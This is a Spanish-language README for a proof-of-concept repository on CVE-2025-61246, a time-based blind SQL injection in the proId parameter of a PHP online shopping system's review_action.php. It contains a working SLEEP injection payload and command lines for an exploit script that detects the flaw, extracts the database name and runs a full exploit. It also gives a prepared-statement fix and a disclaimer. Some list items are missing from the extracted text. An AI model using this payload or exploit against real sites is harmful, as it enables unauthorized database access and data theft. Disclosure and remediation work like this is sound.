
CVE-2025-61246: Vulnerabilidad de Inyección SQL PoC en Sistema de Compras en Línea PHP
Este repositorio contiene una Prueba de Concepto (PoC) para CVE-2025-61246, una vulnerabilidad crítica de Inyección SQL descubierta en la aplicación PHP Sistema de Compras en Línea. La vulnerabilidad permite a un atacante no autenticado ejecutar comandos SQL arbitrarios mediante inyección SQL ciega basada en tiempo.
/online-shopping-system-php-master/review_action.phpproIdLa vulnerabilidad existe en el endpoint review_action.php, donde la entrada proporcionada por el usuario en el parámetro proId se incorpora directamente en consultas SQL sin una sanitización adecuada ni consultas parametrizadas. Esto permite a un atacante inyectar cargas útiles SQL maliciosas que pueden:
// Código vulnerable (ejemplo)
$proId = $_POST['proId'];
$query = "SELECT * FROM products WHERE id = " . $proId;
mysqli_query($conn, $query);
Un atacante puede explotar esta vulnerabilidad:
/online-shopping-system-php-master/review_action.phpproIdproId=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
Este repositorio incluye:
exploit.py) - Script en Python para detectar y explotar la vulnerabilidadMANUAL_TESTING.md) - Instrucciones paso a paso para la explotación manualdocker-compose.yml) - Entorno Docker para pruebas segurasREMEDIATION.md) - Prácticas de codificación segura y parchesPython 3.7+
pip install -r requirements.txt
# Clonar el repositorio
git clone https://github.com/hackergovind/CVE-2025-61246.git
cd CVE-2025-61246
# Instalar dependencias
pip install -r requirements.txt
# Ejecutar el exploit
python exploit.py --url http://target.com/online-shopping-system-php-master/review_action.php
# Solo detección (sin explotación)
python exploit.py --url http://target.com/review_action.php --detect-only
# Extraer nombre de la base de datos
python exploit.py --url http://target.com/review_action.php --extract-db
# Explotación completa con tiempo de espera personalizado
python exploit.py --url http://target.com/review_action.php --timeout 10 --full-exploit
# Usar proxy para pruebas
python exploit.py --url http://target.com/review_action.php --proxy http://127.0.0.1:8080
La explotación exitosa de esta vulnerabilidad puede conllevar:
// Implementación segura usando sentencias preparadas
$proId = $_POST['proId'];
$stmt = $conn->prepare("SELECT * FROM products WHERE id = ?");
$stmt->bind_param("i", $proId);
$stmt->execute();
$result = $stmt->get_result();
Para pasos detallados de remediación, consulte REMEDIATION.md.
⚠️ IMPORTANTE: Esta PoC se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. El autor no asume ninguna responsabilidad por el mal uso de esta información. Obtenga siempre la autorización adecuada antes de realizar pruebas.
Govind Pratap Singh
Este proyecto está bajo la Licencia MIT; consulte el archivo LICENSE para más detalles.
Divulgación responsable: Si descubre una vulnerabilidad de seguridad, infórmela de manera responsable al proveedor antes de hacerla pública.